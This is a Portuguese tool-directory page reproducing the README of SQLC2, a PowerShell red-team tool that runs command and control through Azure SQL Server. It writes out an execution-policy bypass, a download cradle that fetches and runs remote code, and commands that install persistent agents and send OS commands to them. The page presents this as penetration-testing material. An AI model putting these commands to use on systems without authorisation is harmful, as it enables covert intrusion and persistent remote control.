Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/netspi/sqlc2
Mecanismos de PersistênciaTestes de PenetraçãoSegurança na NuvemComando e ControleRed TeamingSegurança de Banco de Dados
GitHubnetspi/sqlc2

SQLC2

SQLC2 é um script PowerShell para implantar e gerenciar um sistema de comando e controle que usa o SQL Server tanto como servidor de controle quanto como agente.

Ver Repositório
75213há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

SQLC2

O SQLC2 é um script PowerShell para implantar e gerenciar um sistema de comando e controle que usa o SQL Server como servidor de controle e agente. Em sua essência, o SQLC2 é apenas um script PowerShell, um script TSQL e algumas tabelas em uma instância do SQL Server que rastreiam agentes, comandos e resultados. Nada muito sofisticado, mas pode ser útil em alguns engajamentos.

Para uma visão geral mais completa do SQLC2, confira o blog em https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.

Autor e Licença

  • Autor: Scott Sutherland (@_nullbind), NetSPI - 2018
  • Licença: BSD 3-Clause
  • Dependências necessárias: Nenhuma

Por que se preocupar com um C2 baseado em SQL Server?

Mais empresas estão começando a usar bancos de dados do Azure SQL Server. Quando essas instâncias do Azure SQL Server são criadas, elas se tornam acessíveis por meio de um subdomínio de database.windows.net na porta 1433. Por exemplo, eu poderia criar uma instância do SQL Server chamada "mysupersqlserver.database.windows.net". Como resultado, algumas configurações de rede corporativa permitem acesso de saída à internet para qualquer subdomínio "database.windows.net" na porta 1433.

A ideia geral é que, à medida que a adoção do Azure SQL Server cresce, haverá mais oportunidades de usar o SQL Server como um canal de controle que se parece, de certa forma, com tráfego normal. O SQLPS é uma prova de conceito bastante básica, mas acho que é funcional o suficiente para ilustrar a ideia. Sei que há algumas melhorias a serem feitas, mas se você acabar brincando com ele, adoraria receber seu feedback.

Não Apenas para Azure

Embora haja uma ênfase no uso do SQLC2 com instâncias do Azure SQL Server, você pode hospedar seu próprio SQL Server em qualquer ambiente de nuvem e configurá-lo para escutar na porta 443 com SSL habilitado. Assim, ele pode oferecer um pouco mais de flexibilidade, dependendo de quanto esforço você quer investir.

Carregando o SQLC2

  • Opção 1: Baixe o script e importe-o. Isso não requer privilégios administrativos e será importado apenas na sessão atual. No entanto, pode ser bloqueado por políticas de execução restritivas, então você pode querer usar a opção de bypass.

    Set-ExecutionPolicy Bypass -Scope Process

    Import-Module SQLC2.ps1

  • Opção 2: Carregue-o em uma sessão por meio de um download cradle. Isso não requer privilégios administrativos e será importado apenas na sessão atual. Não deve ser bloqueado por políticas de execução.

    IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")

    Nota: Para executar como um usuário de domínio alternativo, use o comando runas para iniciar o PowerShell primeiro.

    runas /noprofile /netonly /user:domain\user PowerShell.exe

Diagrama básico da arquitetura do SQLC2

SQLC2Arch

Funções do Usuário

Abaixo está uma lista de funções de usuário que suportam os fluxos de trabalho pretendidos.

Nome da FunçãoDescrição
Install-SQLC2ServerInstala as tabelas do SQLC2 no SQL Server/banco de dados de destino.
Install-SQLC2AgentPsInstala um agente que usa um trabalho de agente do SQL Server e um link de servidor.
Install-SQLC2AgentLinkInstala um agente que usa uma tarefa agendada ou chave de registro para executar comandos do PowerShell.
Set-SQLC2CommandDefine comandos do sistema operacional para os agentes executarem.
Get-SQLC2CommandObtém uma lista de comandos do sistema operacional pendentes do C2 para o agente. Também pode executar o comando pendente com a flag -Execute.
Get-SQLC2AgentObtém uma lista de agentes registrados no servidor SQLC2.
Get-SQLC2ResultObtém uma lista de comandos pendentes e concluídos. Suporta filtros de servername, status e cid.
Remove-SQLC2AgentRemove agentes registrados no SQLC2. Simplesmente limpa o histórico.
Remove-SQLC2CommandRemove o histórico de comandos no servidor SQLC2.
Uninstall-SQLC2AgentLinkDesinstala o agente SQLC2 que usa links de servidor e um trabalho de agente.
Uninstall-SQLC2AgentPsDesinstala todos os métodos de persistência baseados no sistema operacional.
Uninstall-SQLC2ServerRemove as tabelas do SQLC2 do banco de dados de destino.

Capturas de Tela

Abaixo estão algumas capturas de tela de exemplo.

Instalar o servidor SQLC2 (criar tabelas):

Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Instalar C2

Instalar o agente SQLC2 (trabalho de agente do SQL Server que usa um link de servidor):

Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Instalar agente

Visualizar agentes do SQLC2:

Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2Arch

Definir comando para executar no agente:

Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Set_Command

Obter resultados do comando:

Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Obter saída do comando

Baixar ferramenta